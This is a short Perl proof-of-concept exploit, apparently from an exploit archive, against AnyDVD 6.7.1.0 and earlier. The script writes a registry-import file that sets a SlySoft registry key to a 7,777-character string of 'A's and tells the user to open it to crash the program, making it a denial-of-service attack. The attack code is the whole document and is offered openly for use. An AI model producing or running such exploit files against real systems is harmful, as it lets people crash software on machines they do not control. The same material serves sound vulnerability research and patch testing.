15 lines
No EOL
620 B
Perl
Executable file
15 lines
No EOL
620 B
Perl
Executable file
#!/usr/bin/perl
|
|
#AnyDVD <= 6.7.1.0 Denial Of Service Vulnerability
|
|
#By Havok, from France. (c'est les vacances \o/. Mais y a plus d'essence :(. Rime de leet spotted :P).
|
|
#23/10/2010
|
|
#Tested on Windows XP SP3.
|
|
#Software still available here at the moment : http://static.slysoft.com/SetupAnyDVD.exe
|
|
#It seems that RegAnyDVD.exe is our friend. :)
|
|
|
|
my $w00T_omg= "\x41" x 7777;
|
|
open(file,">DoS.AnyDVD");
|
|
print file "REGEDIT4\n\n";
|
|
print file "[HKEY_LOCAL_MACHINE\\Software\\SlySoft\\AnyDVD\\Key]\n";
|
|
print file "\"Key\"=\"$w00T_omg\"";
|
|
print "The file has been created successfully. Open it and BOOM. Cheers!";
|
|
close(file); |